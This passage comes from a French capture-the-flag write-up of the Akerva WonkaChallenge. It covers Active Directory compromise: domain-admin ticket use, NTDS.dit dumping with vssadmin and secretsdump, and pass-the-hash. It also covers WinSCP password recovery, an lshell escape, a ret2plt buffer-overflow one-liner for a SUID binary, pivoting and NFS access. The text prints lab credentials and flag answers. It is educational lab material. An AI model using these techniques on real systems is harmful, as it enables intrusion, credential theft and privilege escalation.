L’erreur KRB_AP_ERR_SKEW signifie Kerberos Authentication failed due to time skew. Cette erreur survient lorsque l’horloge du domaine contrôleur et celle du client ont trop de différence. En effet, si le domaine est restauré toute les heures, alors l’horloge aussi. Pour synchroniser les deux horloges, la commande suivante est nécessaire : net time /domain /set
.
La commande Rubeus s’étant terminée correctement, un ticket Administrator @ factory.lan a été créé en mémoire :
Le ticket “administrateur de domaine” étant désormais en mémoire, il est possible d’accéder au disque C: du contrôleur de domaine :
VIII.4. Acquisition du NTDS.dit
Ayant les droits administrateur de domaine, il est possible de se connecter au contrôleur de domaine via psexec. Cet outil fait parti des Sysinternals de Microsoft, comme procdump utilisé précédemment.
|
|
Il n’est pas possible d’accéder au fichier ntds.dit sur un système en cours de fonctionnement, même en étant administrateur de domaine. Cependant, il est possible d’utiliser vssadmin pour récupérer une copie du disque C: et ainsi récupérer le ntds.dit dans cet instantané :
|
|
Enfin, pour que secretsdump.py puisse retrouver les hashs disponibles dans le ntds.dit, il est nécessaire de récupérer la base system dans la registry Windows :
|
|
Les UNC path permettent de copier les fichiers générés sur CommandoVM :
|
|
VIII.4. Get hashes
L’outil secretsdump.py est un script de la suite impacket. Dans le cadre de cette épreuve, cet outil va extraire les différents hash du ntds.dit :
|
|
Le flag est le sha256 du hash de l’utilisateur krbtgt. Ayant ce hash, il est maintenant possible de créer un golden ticket en tant qu’administrateur de domaine.
VIII.5. Flag
24704ab2469b186e531e8864ae51c9497227f4a77f0bb383955c158101ab50c5
Resources
- Pixis, BloodHound, hackndo : https://beta.hackndo.com/bloodhound/
- Rohan Vazarkar, BloodHound 2.1: The Fix Broken Stuff Update, cptjesus.com : https://blog.cptjesus.com/posts/bloodhound21
- PenTestPartners, Bloodhound walkthrough. A Tool for Many Tradecrafts, Blog de PenTestPartners : https://www.pentestpartners.com/security-blog/bloodhound-walkthrough-a-tool-for-many-tradecrafts/
- Pixis, Resource-Based Constrained Delegation - Risques, hackndo : https://beta.hackndo.com/resource-based-constrained-delegation-attack/
- harmj0y, A Case Study in Wagging the Dog: Computer Takeover, Blog de harmj0y : https://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/
- Elad Shamir, Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory, Blog de shenaniganslabs : https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
- Microsoft, Security Descriptor Definition Language, Documentation Microsoft : https://docs.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-definition-language
- Dirk-jan Mollema, “Relaying” Kerberos - Having fun with unconstrained delegation, Blog de Dirk-jan Mollema : https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/
- Microsoft, Kerberos Authentication failed due to time skew, Documentation Microsoft : https://blogs.msdn.microsoft.com/asiatech/2009/04/26/kerberos-authentication-failed-due-to-time-skew/
- Microsoft, vssadmin, Documentation Microsoft : https://docs.microsoft.com/fr-fr/windows-server/administration/windows-commands/vssadmin
- swisskyrepo, PayloadsAllTheThings, GitHub : https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#dumping-ad-domain-credentials-systemrootntdsntdsdit
IX. Step 9 - Not so hashed
Veruca’s home
TL;DR
- Il est possible de se connecter avec le hash de l’utilisateur adminWorkstation à la dernière machine (PC01-DEV) de ce LAN ;
- Remarquer que la machine utilise WinSCP ;
- N’ayant pas de master password sur WinSCP, il est possible de récupérer des informations dans les clés de registre ;
- Récupérer le hash réversible de veruca dans la clé de registre :
HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\veruca@172.16.69.78
; - Décoder le hash et recueillir les identifiants :
veruca : CuiiiiYEE3r3!
; - Ajouter une route vers le sous réseau contenant la machine de veruca ;
- Se connecter à PC01-DEV en SSH.
IX.1. Pass the hash
Ne restant qu’une machine dans le réseau et possédant l’ensemble des hash des utilisateurs du domaine, nous sommes en droit de nous dire qu’il existe un lien entre les deux. En effet, il est possible de se connecter à différents services d’un domaine en se servant du hash du mot de passe plutôt que du mot de passe lui même.
En filtrant les utilisateurs contenant “admin” dans le nom, le bruteforce est relativement rapide :
|
|
Finalement l’utilisateur adminWorkstation
peut se connecter à la dernière machine :
|
|
IX.2. Identifiant de Veruca
Il est possible d’exécuter des commandes arbitraires en utilisant la technique du Pass the hash. La suite impacket possède wmiexec.py :
|
|
Des raccourcis intéressants sont accessibles dans les fichiers de l’utilisateur adminWorkstation :
|
|
Il est possible de récupérer des informations dans la registry Windows s’il n’y a pas de master password sur WinSCP. Pour avoir accès aux informations de Veruca, il existe deux méthodes : une méthode “à la main” et une méthode automatisée.
IX.2.a. Méthode 1 - À la main
Étant connecté sur la machine, il suffit de requêter la registry Windows afin d’obtenir les informations désirées :
Un binaire sur GitHub permet de décoder les hash de WinSCP. Ci-dessous le mot de passe de Veruca en clair :
|
|
IX.2.b. Méthode 2 - Automatisée
Pour cette méthode, c’est @lydericlefebvre, organisateur du challenge, qui m’a donné l’astuce. Une fois que l’épreuve ait été validée, évidemment ;)
L’outil CrackMapExec possède un module invoke_sessiongopher permettant de récupérer des informations sensibles dans différents programmes tels que PuTTY, WinSCP, FileZilla, SuperPuTTY et RDP en utilisant SessionGopher.
|
|
IX.3. Connexion SSH sur le poste de Veruca
Les informations de Veruca sont donc les suivantes :
veruca@172.16.69.78 : CuiiiiYEE3r3!
Un rapide coup d’œil sur l’adresse IP montre qu’elle fait partie d’un autre réseau. Jusqu’à présent nous étions sur le réseau 172.16.42.0/24. Afin d’accéder au second réseau, l’ajout d’une route est nécessaire. Comme présenté dans le schéma situé dans l’introduction, ma route sera sur mon hôte Windows 10 :
|
|
Il est désormais possible de se connecter en SSH à la machine de Veruca avec mes VM en NAT :
|
|
IX.4. Flag
83907d64b336c599b35132458f7697c4eb0de26635b9616ddafb8c53d5486ac2
Resources
- Paul Lammertsma, Where does WinSCP store site’s password?, SuperUser : https://superuser.com/questions/100503/where-does-winscp-store-sites-password
- anoopengineer, WinSCP Password Extractor/Decrypter/Revealer, GitHub : https://github.com/anoopengineer/winscppasswd/
- Vivek Gite, Linux route Add Command Examples, cyberciti : https://www.cyberciti.biz/faq/linux-route-add/
- Walter Glenn, How to Add a Static TCP/IP Route to the Windows Routing Table, howtogeek : https://www.howtogeek.com/howto/windows/adding-a-tcpip-route-to-the-windows-routing-table/
X. Step 10 - The Great Escape
Run Otman run, get out of this jail!
TL;DR
- Trouver l’autre machine via ARP :
cat /proc/net/arp
; - Remarquer que nginx est installé ;
- Dans la configuration du nginx, trouver la racine du frontend :
/usr/share/nginx/dev3.challenge.akerva.com
; - Récupérer une clé privée SSH dans l’un des dossiers ;
- Grâce à l’indice de Akerva, on connait l’utilisateur de la machine distante : violet ;
- Atterrir dans un environnement restreint : lshell ;
- Trouver l’issue de sécurité sur le git permettant de s’échapper de l’environnement restreint :
echo opmd && cd () bash && cd
.
X.1. Reconnaissance
Personnellement, l’un de mes premiers reflexes en post exploitation est de vérifier le cache arp :
|
|
Une nouvelle IP a été trouvé : 172.16.69.65
. Il n’est pas possible de ré-utiliser les identifiants de Veruca sur cette IP. Pour vérifier les différents services sur ces machines, il est nécessaire de faire un scan de port complet.
X.1.a. 172.16.69.65
Pour des soucis de rapidité, j’ai préféré utiliser masscan plutôt que nmap.
|
|
Un service sur le port 22 est disponible, le SSH en question. Il n’y a pas d’autres services.
X.1.b. 172.16.69.78 (SRV01-WEB-WW3)
La machine SRV01-WEB-WW3 a un service de plus exposé :
|
|
X.2. Connexion SSH au serveur distant
Etant donné qu’un service web est exposé et qu’un accès ssh est disponible, il est possible de lister directement le contenu de /var/www/html
:
|
|
À première vue, le serveur utilisé est un nginx. Il est possible de vérifier la configuration du serveur et des différents sites dans le dossier /etc/nginx/sites-available
:
|
|
Plusieurs informations intéressantes se trouvent dans ce fichier, dont la racine du site web : /usr/share/nginx/dev3.challenge.akerva.com
:
|
|
Une clé privée SSH est disponible dans l’arborescence du frontend. La connexion à l’autre machine doit être possible avec cette clé. Il ne manque que l’utilisateur associé. La clé privée est disponible ici.
La plateforme de challenge du WonkaChall propose un hint par épreuve. Pour cette étape, le hint est le nom de l’utilisateur, à savoir violet.
Connaissant le nom de l’utilisateur et la clé associée, il est possible de se connecter au serveur distant :
X.3. Escaping the restricted shell
Dans la réalité, le shell restreint n’est pas apparu directement. En utilisant zsh, j’ai rencontré un soucis (dont j’ignore totalement la cause). Par contre, cela m’a permis d’accéder à l’erreur suivante :
|
|
Grâce à l’erreur python trouvée, très explicite, il me fût facile de tomber sur le GitHub de lshell. Pour s’évader de ce shell restreint, le plus simple reste d’inspecter les différentes issues de sécurité du dépôt. Actuellement, il n’y a qu’une issue de securité active : https://github.com/ghantoos/lshell/issues/151#issuecomment-303696754
L’utilisateur omega8cc mentionne un moyen de s’échapper fonctionnel :
|
|
Le flag est situé dans le home de violet :
|
|
X.4. Flag
d9c47d61bc453be0f870e0a840041ba054c6b7f725812ca017d7e1abd36b9865
Resources
- ghantoos, lshell - SECURITY ISSUE: Inappropriate parsing of command syntax, GitHub : https://github.com/ghantoos/lshell/issues/151#issuecomment-303696754
XI. Step 11 - Free flag
Free for all \o/
TL;DR
- Remarquer qu’il existe des fichiers world readable dans le /home du système ;
- Lire la clé privée de l’utilisateur Georgina ;
- Se connecter avec cette clé privée et accéder au home de Georgina.
XI.1. Trouver la clé privé
Étant connecté sur un système avec un utilisateur “standard”, naturellement je regarde s’il m’est possible d’accéder aux home des autres utilisateurs du système. C’est comme cela que j’ai trouvé une clé privée dans le home de l’utilisateur Georgina :
La clé privée est disponible ici.
Il ne reste plus qu’à se connecter au même serveur en tant que Georgina :
|
|
XI.2. Flag
5a4fec24bf04c854beee7e2d8678f84814a57243cbea3a7807cd0d5c973ab2d5
XII. Step 12 - Return to PLankTon
Pwn2Own
TL;DR
- Utiliser LinEnum afin de trouver exportVIP un binaire SUID et SGID ;
- Trouver l’overflow de manière empirique ;
- Déterminer le padding (de 296 octets) nécessaire à la réécriture de RSP ;
- Regarder la plt du binaire et les protections mises en place, en déduire que l’exploitation est un
ret2plt
; - Récupérer l’adresse de la fonction system disponible dans la plt ;
- Trouver un gadget
pop rdi; ret
dans le binaire nécessaire pour le placement des arguments ; - Trouver l’adresse d’une chaîne de caractère dans le binaire, par exemple GNU ;
- Faire un script exécutant un
/bin/bash -p
, l’appeler GNU et le rajouter dans le PATH ; - Exploiter le
ret2plt
en appelant la fonction system en plaçant GNU en paramètre :/opt/exportVIP < <(python -c 'from pwn import *; print "a"*296+p64(0x000000000040145b)+p64(0x4002d0)+p64(0x40133d)';cat)
XII.1. Post exploitation
Etant connecté en tant que Georgina ou Violet, le but est d’élever ses privilèges et de récupérer un accès root au serveur. Pour cela, il existe de nombreux scripts d’énumération pour de la post-exploitation sur GitHub. Personnellement, je trouve que LinEnum est le plus pertinent. Ci-dessous les résultats importants remontés par LinEnum :
|
|
Un seul de ces binaires n’est pas un programme par défaut : /opt/exportVIP. Si il est possible d’exécuter des commandes avec ce binaire, alors il sera possible d’exécuter des commandes en tant qu’utilisateur root. Il est préférable de réaliser l’analyse en local, dans un environnement maîtrisé :
|
|
Le binaire est disponible ici.
XII.2. Informations sur le binaire
C’est un binaire 64 bits, strippé et linké dynamiquement :
|
|
Un stripped binary est un binaire sans les symboles de debug. Il est plus léger qu’un binaire non strippé. L’absence de ces symboles de debug complexifie le reverse du programme. Quant aux protections en place sur exportVIP, il n’y en a pas beaucoup :
|
|
Merci à Tomtombinary, pour le schéma ci-dessous, résumant les types d’exploitation possibles en fonction des protections activées. Cependant , veuillez noter que le schéma n’est PAS complet.
Dans le cadre de l’exploitation de exportVIP, le bit NX est activé, et sans doute l’ASLR . Enfin l’outil readelf permet d’obtenir des informations complémentaires comme les fonctions présentes dans la plt, le contenu de la got et bien d’autres choses.
|
|
La fonction system étant présente dans la plt du binaire, cela va nous faciliter l’exploitation. En effet, si l’on se réfère au schéma de la figure 42, il faudrait leak une adresse de la libc, récupérer l’adresse de base de la libc et appeler la fonction system. Geluchat a fait un bon article sur son blog à ce sujet.
Dans le cas du binaire exportVIP, la fonction system est déjà présente dans le programme. Il suffit donc de l’appeler en plaçant l’argument voulu.
XII.3. Explication de l’exploitation
L’objectif est d’appeler la fonction system avec un paramètre contrôlé. Pour cela, il est impératif de trouver un buffer overflow pour pouvoir réécrire RIP pour rediriger le flux d’exécution sur l’adresse de system, si on veut résumer. Pour trouver le buffer overflow, il existe deux écoles : reverse en statique ou à grand coup de tests dynamiques (il est possible de mixer les deux). Pour rappel, le binaire ne contient pas les symboles de debug.
Lorsque le signal système SIGSEGV est levé, cela signifie que le programme concerné à segmentation fault. En d’autres termes, une fonction du programme a tenté d’accéder à une zone mémoire non existante ou non autorisée. Dans le cadre d’une exploitation d’un buffer overflow, c’est une bonne chose, car RIP a bien été réécrit. Il va falloir trouver le bon padding pour réécrire RIP. Dans la convention de l’assembleur 64 bits, le premier argument d’une fonction se place dans le registre rdi. Afin d’exécuter la charge utile, il est possible de trouver une chaîne de caractère dans le programme exportVIP, comme “GNU” par exemple. Cette chaîne est présente dans tous les ELF (binaire linux).
Lorsque la chaîne a été choisie, il faut trouver son adresse dans le binaire ; exportVIP n’étant pas soumis à la PIE, cette adresse ne changera pas. Enfin, il ne reste qu’à créer un script s’appelant comme la chaîne choisi et à l’ajouter dans le PATH. En résumé, l’objectif est de faire :
|
|
Pour placer “GNU” dans rdi, il faut trouver un gadget. Un gadget est une suite d’instruction assembleur présente dans le binaire. Il faut donc trouver un gadget pop rdi; ret
. Pour rappel, la stack fonctionne comme ceci :
Au final, le payload d’exploitation final devra ressembler à :
|
|
XII.4. Exploitation
XII.4.a. Déterminer le padding
Lorsque l’on cherche le padding d’un buffer overflow, la librairie pwntool peut être utile, car elle nous permet de générer un pattern. Ce pattern d’une taille arbitraire mais suffisamment grande servira à faire segfault le programme. La valeur contenu dans RSP servira à déterminer la taille du padding :
|
|
Le padding pour contrôler RIP est de 296 octets.
Note : L’instruction ret étant un alias pour pop rip
, il faut donc observer le contenu du stack pointer, soit rsp.
XII.4.b. Récupérer l’adresse de system
Pour trouver l’adresse de system
, il n’est pas nécessaire de sortir l’artillerie lourde (IDA Pro, Ghidra…). Un simple objdump fait l’affaire :
|
|
Le call de system dans le binaire est à l’adresse 0x40133d.
XII.4.c. Trouver un bon gadget
Lister les gadgets d’un binaire peut se faire avec l’outil ROPGadget. Il permet de trouver les différents gadget et leur adresse. Pour rappel on cherche un pop rdi; ret
:
|
|
L’adresse du gadget est donc 0x000000000040145b
XII.4.d. Trouver l’adresse de la chaîne GNU
La dernière pièce du puzzle est l’adresse de la chaîne GNU dans exportVIP. Toujours avec objdump, il est possible de récupérer l’adresse de cette chaîne :
|
|
L’adresse de GNU n’est pas vraiment 0x4002d0, on peut voir que ce n’est pas aligné. Il suffit d’enlever 4 octets :
|
|
L’adresse de GNU est : 0x4002d0
XII.4.e. Ajout d’un binaire GNU dans le PATH
Le binaire “GNU” va contenir un simple bash -p
, l’argument permet de garder les droits de l’utilisateur pendant l’exécution.
|
|
Ce script sera stocké dans le dossier /tmp :
|
|
XII.5. Exécution
Tous les paramètres sont maintenant disponibles : le padding, l’adresse du gadget, l’adresse de GNU et l’adresse de système. Il ne reste plus qu’à exploiter.
|
|
Note : La librairie pwntool est disponible sur le serveur distant. C’est plutôt rare, mais c’est arrangeant.
Le flag de cette étape se trouve dans le dossier /root.
XII.6. Flag
6f424a5e3b001ee6a832581680169e2f687d8d6e493bdb4b26d518798f7b3c30
Resources
- Rémi Martin, Exploitation – ByPass ASLR+NX with ret2plt, shoxx-website : http://shoxx-website.com/2016/05/exploitation-bypass-aslrnx-with-ret2plt.html
- Geluchat, Petit Manuel du ROP à l’usage des débutants, dailysecurity : https://www.dailysecurity.fr/return_oriented_programming/
XIII. Step 13 - The final countdown
SHA256(WillyWonka’s chief name)
TL;DR
- Trouver la machine qui manque sur le schéma réseau avec arp :
cat /proc/net/arp
; - Mettre en place un proxychains avec la machine précédente en tant que pivot ;
- Faire un scan de port avec nmap sur la nouvelle cible, voir le
nfs
sur le port 2049 ; - Monter le nfs distant sur la machine de pivot ;
- Copier les fichiers du partage réseau ;
- Analyser les métadonnées avec exiftool et trouver que Grandma Josephine est le chef de Willy Wonka.
XIII.1. Post exploitation
Le schéma trouvé sur le serveur SRV01-INTRANET est incomplet. En effet, la machine SRV03-FILER est tagguée en tant que “TODO”. L’épreuve finale doit consister en l’accès à cette dernière machine. Avant de passer à la suite, il convient de se connecter en root au serveur SRV02-BACKUP avec un réel accès SSH. La clé privée est disponible ici.
L’objectif est de trouver le chef de Willy Wonka. Comme pour la première étape de la dixième épreuve (cf. X.1. Reconnaissance), il est intéressant de vérifier le contenu du cache arp :
|
|
Une nouvelle IP est apparut : 172.16.69.23. Sûrement la machine nommée SRV03-FILER. Celle-ci n’a pas l’air accessible directement malgré les routes en place. Cependant, ayant un accès SSH à la machine SRV02-BACKUP, il est possible de faire un pivot.
XIII.2. Mise en place du pivot
Pour faire un pivot, il existe au moins deux outils pertinents : proxychains et sshuttle. Dans les deux cas, il est nécessaire de faire suivre un port de la machine pivot (SRV02-BACKUP) et la machine de l’attaquant (KaliVM). Pour cette configuration, l’architecture présentée dans l’introduction a été abandonnée. Le VPN du WonkaChall est directement dans la KaliVM.
|
|
La configuration de proxychains :
|
|
Le pivot est désormais mis en place. Il est possible pour la KaliVM d’accéder à SRV03-FILER.
XIII.3. Scan de port
Le scan de port devenant une coutume lors de la découverte d’un nouvel hôte, celui-ci ne va pas échapper à la règle :
|
|
En considérant les trois ports ouverts, l’hypothèse la plus probable est l’accès au Network File System (nfs) sur le port 2049/tcp.
XIII.4. Montage du volume NFS
La tentative de montage en passant par proxychains est un échec. La solution la plus simple est de monter ce volume sur le serveur SRV02-BACKUP :
|
|
Le volume est monté avec succès. Il contient beaucoup d’images, un docx et un pdf :
|
|
L’identité du chef de Willy Wonka doit se trouver dans les métadonnées d’un des fichiers du volume.
XIII.5. Copie des fichiers du volume
Encore une fois, la solution la plus simple et la plus rapide reste de copier l’ensemble des fichiers du dossier VIP sur KaliVM :
|
|
Le flag final est le SHA256 de “Grandma Josephine”.
XIII.6. Flag
b8a3ef108d0c3fac75f3f99f4d6465db8b85b29f41edcfb419a986ca861239f9
Resources
- Bima Fajar Ramadhan, ProxyChains Tutorial, linuxhint : https://linuxhint.com/proxychains-tutorial/
- Equipe de developpez, NFS : le partage de fichiers sous Unix, developpez.com : https://linux.developpez.com/formation_debian/nfs.html
Conclusion
Pour conclure, le WonkaChallenge d’Akerva m’a permis de travailler sur des technologies à jour, et ça a été vraiment agréable. La difficulté globale du challenge a bien été dosée, malgré les différentes catégories parcourues. D’un point de vue plus personnel, j’ai appris plusieurs choses : interagir avec des bucket s3, déployer une application via host-manager pour exploiter un serveur tomcat, le resource based constrained delegation pour impersonate un utilisateur sur l’active directory et enfin le ret2plt.
Enfin, l’infrastructure du challenge a très bien résisté à l’assaut de plusieurs dizaines (centaines ?) de challengers. C’était agréable de pouvoir travailler sur le challenge sans bugs ou autres problèmes de stabilité. Seule l’utilisation du psexec juste après l’exploitation du rbcd a été un peu chaotique.
Pour clore ce writeup, je souhaite remercier l’équipe d’Akerva en charge du challenge. C’était de belles épreuves, et j’ai hâte de jouer le Wonka3 l’année prochaine !